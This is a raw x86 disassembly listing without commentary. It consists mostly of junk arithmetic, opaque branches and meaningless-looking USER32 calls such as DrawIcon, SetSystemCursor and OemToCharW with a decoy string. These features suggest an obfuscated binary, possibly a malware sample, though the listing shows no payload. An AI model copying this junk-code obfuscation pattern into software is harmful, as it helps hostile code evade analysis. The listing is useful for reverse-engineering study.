mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
add eax, dword [ebp - 0xeaa0]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x2344]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
cmp dword [ebp - 0x14fac], 0xf787
jb 0x405f12
movzx eax, byte [ebp - 0x9511]
sub eax, 0xbc
movzx ecx, byte [ebp - 0x17b31]
cmp eax, ecx
jg 0x539e71
cmp dword [ebp - 0xd7b4], 0x7ec0
jae 0x406465
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
and eax, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2970]
mov dword [ebp - 0x1186c], eax
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x558]
add ecx, dword [edx]
mov dword [ebp - 0x2970], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x2344]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x7698]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0xeaa0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1186c]
add edx, dword [ebp - 0x2970]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x2970]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x9d8]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x7698]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd7b4]
add ecx, 0x27
mov dword [ebp - 0xd7b4], ecx
movzx edx, byte [ebp - 0x9511]
or edx, 0xd3
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0xeaa0]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2970]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x1186c]
add edx, dword [ecx]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x8f30]
sub eax, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7698]
sub edx, dword [ebp - 0x2970]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [0x55d224]
sub ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
add ecx, dword [edx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8f30]
and edx, dword [ebp - 0xeaa0]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
add edx, dword [0x55d224]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x15d00]
shl edx, cl
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2344]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x8f30]
or eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x9511]
xor edx, 0xe3
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2970]
mov dword [ebp - 0x7698], ecx
mov edx, dword [ebp - 0x7698]
add edx, dword [ebp - 0x1186c]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x558]
add edx, dword [eax]
mov dword [0x55d224], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x9d8]
add edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x15d00]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [0x55d224]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0x8f30]
add edx, dword [ecx]
mov dword [ebp - 0x9d8], edx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0x348c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1186c]
or edx, dword [0x55d224]
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0x15d00]
mov ecx, dword [ebp - 0x7698]
sar eax, cl
mov dword [ebp - 0x1186c], eax
mov edx, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0xeaa0]
shl edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2970]
mov dword [ebp - 0x15d00], edx
jmp 0x4060b3
lea eax, [ebp - 0x1186c]
mov dword [ebp - 0x3f0c], eax
cmp dword [ebp - 0x8534], 0x80c7
jbe 0x4065f7
mov ecx, dword [ebp - 0x8534]
sub ecx, 0xab
mov dword [ebp - 0x8534], ecx
mov edx, dword [ebp - 0x8f30]
add edx, dword [ebp - 0x9d8]
mov dword [ebp - 0xeaa0], edx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [ebp - 0x558]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x15d00]
sub eax, dword [ebp - 0x1186c]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x7698]
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
add edx, dword [eax]
mov dword [ebp - 0x1186c], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x55d224], eax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8f30]
sub ecx, dword [ebp - 0x9d8]
mov dword [ebp - 0xeaa0], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2970]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2970]
or edx, dword [ecx]
mov dword [ebp - 0x7698], edx
mov eax, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0xeaa0]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x9d8], edx
mov eax, dword [ebp - 0xeaa0]
xor eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8f30]
shr eax, cl
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0x1186c]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2970]
sub edx, dword [ebp - 0x1186c]
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x9d8]
add eax, dword [ebp - 0xeaa0]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
jmp 0x406471
cmp dword [ebp - 0x230c], 0xf015
jae 0x406741
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x7698]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x237c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x230c]
add ecx, 0x2f
mov dword [ebp - 0x230c], ecx
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0xeaa0]
add eax, dword [edx]
mov dword [ebp - 0x9d8], eax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0x8f30]
sub edx, dword [ecx]
mov dword [ebp - 0xeaa0], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x1186c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x15d00]
mov dword [ebp - 0x7698], ecx
mov edx, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x7698]
shl edx, cl
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x9d8], edx
movzx eax, byte [ebp - 0x9511]
sar eax, 5
mov byte [ebp - 0x17b31], al
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
and edx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x9d8], edx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [ebp - 0x1186c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x15d00]
sub eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x348c]
add eax, dword [ecx]
mov dword [ebp - 0x8f30], eax
jmp 0x4065f7
mov edx, dword [ebp - 0x7698]
sub edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x1186c]
and eax, dword [ebp - 0x2970]
cmp edx, eax
jge 0x406786
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x8f30]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
push 0x77
push 0x82
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov dword [ebp - 0x10bfc], eax
mov ecx, 0xcb2
mov word [ebp - 0xbfbc], cx
movsx edx, word [ebp - 0x11980]
sub edx, 0x2a82
mov word [ebp - 0x11980], dx
mov dword [ebp - 0x9a0], 0xcb9
movsx eax, word [ebp - 0x11980]
cmp eax, 0x157f
jge 0x539d7a
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov dword [ebp - 0x10bfc], edx
lea eax, [ebp - 0x1186c]
mov dword [ebp - 0x4d40], eax
cmp dword [ebp - 0x14bc0], 0x51a4
ja 0x406a1e
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [0x55d224]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x1186c]
add ecx, dword [eax]
mov dword [0x55d224], ecx
mov edx, dword [ebp - 0xeaa0]
add edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xeaa0]
and ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1186c]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
add edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x7698]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
movsx ecx, word [ebp - 0x11980]
sar ecx, 8
mov word [ebp - 0x11980], cx
movsx edx, word [ebp - 0x11980]
or edx, 0xdd2
mov word [ebp - 0x11980], dx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x2344]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [0x55d224], edx
movzx eax, byte [ebp - 0x9511]
and eax, 0x1a
mov byte [ebp - 0x17b31], al
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0x9d8]
sub edx, dword [ecx]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x14bc0]
add eax, 0x46
mov dword [ebp - 0x14bc0], eax
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x10bfc]
add edx, dword [ecx]
mov dword [ebp - 0xeaa0], edx
mov eax, dword [0x55d224]
add eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
sub eax, dword [ebp - 0xeaa0]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
add eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
add eax, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [0x55d224]
and edx, dword [ebp - 0x7698]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x9d8]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0xeaa0]
shl eax, cl
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1186c]
sar eax, cl
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x10bfc]
add edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
movsx ecx, word [ebp - 0x11980]
and ecx, 0x4507
mov word [ebp - 0x11980], cx
jmp 0x4067dc
movsx edx, word [ebp - 0x11980]
mov dword [ebp - 0x18824], edx
cmp dword [ebp - 0x18824], 0x507
je 0x406a4c
cmp dword [ebp - 0x18824], 0x4231
je 0x539baa
jmp 0x539ca0
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x55d224], edx
mov eax, dword [0x55d224]
mov dword [ebp - 0x5958], eax
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x10bfc]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xbfbc]
add ecx, 0xdc3
mov word [ebp - 0xbfbc], cx
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x348c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], eax
movsx eax, word [ebp - 0x11980]
sub eax, 0x6a64
mov word [ebp - 0x11980], ax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
add edx, dword [eax]
mov dword [ebp - 0xeaa0], edx
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x558]
add edx, dword [eax]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0x5958]
add eax, dword [edx]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x7698]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xeaa0]
or edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [0x55d224]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x5958]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x1186c], edx
mov eax, dword [ebp - 0xe924]
sub eax, 0x26
mov dword [ebp - 0xe924], eax
mov ecx, dword [ebp - 0x8f30]
and ecx, dword [ebp - 0xd9f4]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x558]
add ecx, dword [edx]
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3f0c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], edx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
and eax, dword [ebp - 0x2970]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd9f4]
sub edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5958]
sub ecx, dword [ebp - 0x2970]
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x237c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x15d00], ecx
movzx edx, word [ebp - 0xbfbc]
add edx, 0xcf6
mov word [ebp - 0xbfbc], dx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [0x55d224]
or ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x9511]
shl eax, 1
mov byte [ebp - 0x17b31], al
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x348c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0xeaa0]
shr edx, cl
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x2970]
and edx, dword [ecx]
mov dword [ebp - 0x7698], edx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x237c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x55d224], edx
movzx eax, byte [ebp - 0x17b31]
sub eax, 0x62
mov byte [ebp - 0x9511], al
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xeaa0]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
cmp dword [ebp - 0xe924], 0x324c
ja 0x406a4c
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x10bfc]
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xd9f4]
cmp edx, ecx
jae 0x406d66
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x1186c]
add eax, dword [edx]
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x14bc8]
push ecx
push 0xd5
push 0x4a
mov edx, dword [ebp - 0x16fcc]
push edx
call dword [sym.imp.USER32.dll_DrawIcon]
mov dword [ebp - 0x106f0], eax
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
jmp 0x539b8f
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
add ecx, dword [edx]
mov eax, dword [ebp - 0xd9f4]
xor eax, dword [ebp - 0xeaa0]
cmp ecx, eax
ja 0x539aa5
lea ecx, [ebp - 0xbfbc]
mov dword [ebp - 0x39cc], ecx
mov edx, dword [ebp - 0x9d8]
mov dword [ebp - 0x18828], edx
cmp dword [ebp - 0x18828], 0
je 0x406dc0
cmp dword [ebp - 0x18828], 0x2d135cd2
je 0x539a47
jmp 0x539a75
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4d40]
add ecx, dword [edx]
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], ecx
mov dword [ebp - 0x11bd8], 0xec37
mov dword [ebp - 0x3468], 0xe065
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
mov dword [ebp - 0x1882c], edx
cmp dword [ebp - 0x1882c], 0
je 0x406e08
jmp 0x539915
movzx eax, word [ebp - 0xbfbc]
mov dword [ebp - 0x18830], eax
cmp dword [ebp - 0x18830], 0x30
je 0x406e2c
cmp dword [ebp - 0x18830], 0xb9f
je 0x406e44
jmp 0x406ea5
movzx ecx, word [ebp - 0xbfbc]
add ecx, 0x43e
mov edx, dword [ebp - 0x39cc]
mov word [edx], cx
jmp 0x406ea5
mov al, byte [ebp - 0x9511]
mov byte [ebp - 0x18834], al
cmp byte [ebp - 0x18834], 0x98
je 0x406e64
cmp byte [ebp - 0x18834], 0xae
je 0x406e7b
jmp 0x406e91
push 0x3a
mov ecx, dword [ebp - 0x9f98]
push ecx
call dword [sym.imp.USER32.dll_GetScrollPos]
mov dword [ebp - 0x15d00], eax
jmp 0x406e91
movzx edx, word [ebp - 0xbfbc]
add edx, 0xd2e
mov eax, dword [ebp - 0x39cc]
mov word [eax], dx
movsx ecx, word [ebp - 0x11980]
add ecx, 0x18a0
mov word [ebp - 0x11980], cx
mov dx, word [ebp - 0x11980]
mov word [ebp - 0x48a8], dx
mov dword [ebp - 0x8a10], 0x12e1
mov eax, dword [ebp - 0x237c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x2344]
mov edx, dword [edx]
and edx, dword [eax]
cmp ecx, edx
jne 0x406f94
mov eax, dword [ebp - 0x237c]
mov edx, dword [eax]
add edx, dword [ebp - 0x5958]
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x558]
mov eax, dword [eax]
mov ecx, dword [ecx]
sar eax, cl
cmp edx, eax
je 0x406f77
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x9d8]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x10bfc]
cmp edx, ecx
jbe 0x406f67
mov edx, dword [ebp - 0x10bfc]
mov ecx, dword [ebp - 0x8f30]
shl edx, cl
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5958]
sub ecx, dword [ebp - 0x2970]
mov dword [ebp - 0x1186c], ecx
lea edx, [ebp - 0xfa10]
push edx
push str.Expenditure_Agriculture
call dword [sym.imp.USER32.dll_OemToCharW]
mov dword [ebp - 0x46e0], eax
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
push ecx
push 0xfffffffffffffffa
call fcn.0053a140
lea edx, [ebp - 0x17b31]
mov dword [ebp - 0x66ac], edx
lea eax, [ebp - 0xbfbc]
mov dword [ebp - 0x6478], eax
jmp 0x40703e
movsx ecx, word [ebp - 0x11980]
imul ecx, ecx, 0x64a4
movsx edx, word [ebp - 0x48a8]
cmp ecx, edx
jne 0x40703e
movsx eax, word [ebp - 0x48a8]
and eax, 0x2f80
movsx ecx, word [ebp - 0x11980]
cmp eax, ecx
jl 0x407000
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x150b0]
push edx
push 0xdc
push 0x2a
mov eax, dword [ebp - 0x160f8]
push eax
call dword [sym.imp.USER32.dll_DrawIcon]
mov dword [ebp - 0x106f0], eax
jmp 0x407026
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov dword [ebp - 0xd9f4], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x558]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
push 0xcd
mov ecx, dword [ebp - 0x179e8]
push ecx
call dword [sym.imp.USER32.dll_SetSystemCursor]
mov dword [ebp - 0xeecc], eax
mov edx, dword [ebp - 0x7698]
sub edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b31]
movzx edx, byte [ebp - 0x9511]
add ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3468]
add ecx, 0x2a
mov dword [ebp - 0x3468], ecx
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbfbc]
add eax, ecx
mov edx, dword [ebp - 0x6478]
mov word [edx], ax
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0xd9f4]
add ecx, dword [eax]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5958]
sub eax, dword [ebp - 0x1186c]
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1186c]
sar eax, cl
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [0x55d224]
or edx, dword [ecx]
mov dword [ebp - 0x7698], edx
movsx eax, word [ebp - 0x11980]
xor eax, 0x4c87
mov word [ebp - 0x48a8], ax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x5958]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
add ecx, edx
mov byte [ebp - 0x17b31], cl
movzx eax, word [ebp - 0xbfbc]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x39cc]
